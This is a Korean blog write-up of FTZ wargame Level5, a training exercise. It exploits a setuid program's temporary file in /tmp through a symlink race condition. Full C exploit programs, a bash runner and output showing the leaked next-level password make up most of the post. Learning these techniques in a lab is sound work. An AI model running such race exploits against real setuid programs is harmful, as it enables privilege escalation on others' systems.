ftz.hackershchool.org 의 이미지를 가지고 실습했습니다.
- Level5
level5 / what is your name?
[level5@ftz level5]$ ls -l
|
합계 12 -rw-r--r-- 1 root root 129 3월 23 2000 hint drwxr-xr-x 2 root level5 4096 2월 24 2002 public_html drwxrwx--- 2 root level5 4096 1월 16 2009 tmp |
|
[level5@ftz level5]$ cat hint
|
/usr/bin/level5 프로그램은 /tmp 디렉토리에 level5.tmp 라는 이름의 임시파일을 생성한다. 이를 이용하여 level6의 권한을 얻어라.
|
|
> 힌트 그대로 /tmp/level5.tmp 파일을 보면 답이 나올 거 같습니다.
[level5@ftz level5]$ ls -l /usr/bin/level5
|
-rws--x--- 1 level6 level5 12236 8월 19 2014 /usr/bin/level5 |
|
> 이름을 다 알려줬으니 find 명령어를 쓰지 않고 바로 찾아보면 역시 setuid로 되어있는 프로그램입니다.
> 그런대 level5가 가질 수 있는 그룹 권한에는 실행 권한만 있다. -> gdb 로 내용을 확인해 볼 수 없다.
(만약 r 권한이 있었으면 바로 gdb로 분석해서 /tmp/level5.tmp 파일에 뭐라고 쓰고 저장하는지 확인하면 바로 가능하다.)
[level5@ftz level5]$ /usr/bin/level5
|
ls: /tmp/level5.tmp: 그런 파일이나 디렉토리가 없음 |
|
> 일단 실행해 보고 level5.tmp 파일을 찾아보니 없다. 아마 생성 후 바로 삭제하는 것 같다.
(해결) /usr/bin/level5 프로그램이 시작되고 level5.tmp 파일을 삭제하기 전에 프로그램을 멈춰야 한다. 하지만 그렇게 하기 힘들기 때문에 생성되는 tmp파일을 미리 조작해 그 내용을 다른 파일로 확인 할 수 있도록 한다.
-> 레이스 컨디션( Race Condition )
다수의 프로세스가 서로 동일한 자원을 할당 받기 위해 경쟁하는 상태 ( 여기선 level5.tmp 파일이 되겠다. )
-> level5.tmp 파일을 심볼릭 링크를 걸어 /usr/bin/level5 프로그램이 뭔가를 적으면 링크 걸린 파일에 적히도록 하여 확인한다.
[level5@ftz level5]$ cd /tmp
|
#include <unistd.h> int main(void) { int i; for(i=0;i<10;i++) { system("/usr/bin/level5 &"); } } |
|
|
#include <unistd.h> int main() { int i; system("touch /tmp/18pass.txt"); for(i=0;i<10;i++) { system("ln -s /tmp/18pass.txt /tmp/level5.tmp"); } system("cat /tmp/18pass.txt"); system("rm -rf /tmp/18pass.txt"); } |
|
> 링크를 걸어줄 18pass.txt 파일을 생성하고 링크를 10번 정도 돌린다. 18pass.txt 출력하고 삭제한다.
-> level5 프로그램이 level5.tmp 파일을 삭제하기전에 링크를 걸면 성공이다. ( 찰나에 가능하기 때문에 아직 실패를 몇 번 할 것이다. )
[level5@ftz tmp]$ vi Attack.sh
|
#!/bin/bash ./runTarget & ./Attack_Target |
|
> 10번 반복도 순식간에 끝난다. 프로그램이 끝나기 전에 링크를 걸어줘야하므로 직접 치는것으로는 불가능하기에 동시에 실행하는 스크립트를 만들어 실행한다.
[level5@ftz tmp]$ gcc -o runTarget runTarget.c
[level5@ftz tmp]$ gcc -o Attack_Target Attack_Target.c
|
ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 ln: `/tmp/level5.tmp': 파일이 존재합니다 next password : what the hell |
|
> 한번 성공했다.
|
#include <stdio.h> #include <stdlib.h> #include <pthread.h> void *exec_cmd(); void *exec_race(); int main() { pthread_t thread1,thread2; char *message1 = "Thread 1"; char *message2 = "Thread 2"; int iret1, iret2, i; iret1 = pthread_create(&thread1,NULL,exec_cmd, (void *) message1); iret2 = pthread_create(&thread2,NULL,exec_race, (void *) message2); pthread_join(thread1,NULL); pthread_join(thread2,NULL); printf("Thread1 return : %d\n", iret1); printf("Thread1 return : %d\n", iret2); return 0; } void *exec_cmd() { int i; for(i=0; i<10; i++) { system("/usr/bin/level5 &"); printf("-----level5------\n"); } exit(0); } void *exec_race() { int i; system("touch /tmp/18pass.txt"); for(i=0;i<10;i++) { system("ln -s /tmp/18pass.txt /tmp/level5.tmp &"); printf("======sucess======\n"); system("cat /tmp/18pass.txt"); } exit(0); } |
|
|
-----level5------ ln: `/tmp/level5.tmp': 파일이 존재합니다 ======sucess====== -----level5------ next password : what the hell -----level5------ ln: `/tmp/level5.tmp': 파일이 존재합니다 ======sucess====== -----level5------ next password : what the hell -----level5------ ln: `/tmp/level5.tmp': 파일이 존재합니다 ======sucess====== -----level5------ next password : what the hell -----level5------ ln: `/tmp/level5.tmp': 파일이 존재합니다 ======sucess====== -----level5------ next password : what the hell -----level5------ ln: `/tmp/level5.tmp': 파일이 존재합니다 ======sucess====== -----level5------ next password : what the hell |
|
> 그냥 돌렸을 때 보다 thread를 사용하니 10번 중 검색되는 횟수가 증가했다.
( thread 를 이용해 봤을 뿐 보통 그냥 무한 루프 돌리고 나오면 종료합니다.)
'Security > 리버싱' 카테고리의 다른 글
Level5 문제 분석 -의사 코드 (0) | 2017.11.29 |
---|---|
Race Condition(레이스 컨디션) (0) | 2017.11.29 |
Level4 문제해결 (0) | 2017.11.29 |
(암기) backdoor 만들기 (0) | 2017.11.28 |
Level3 문제 해결 (0) | 2017.11.28 |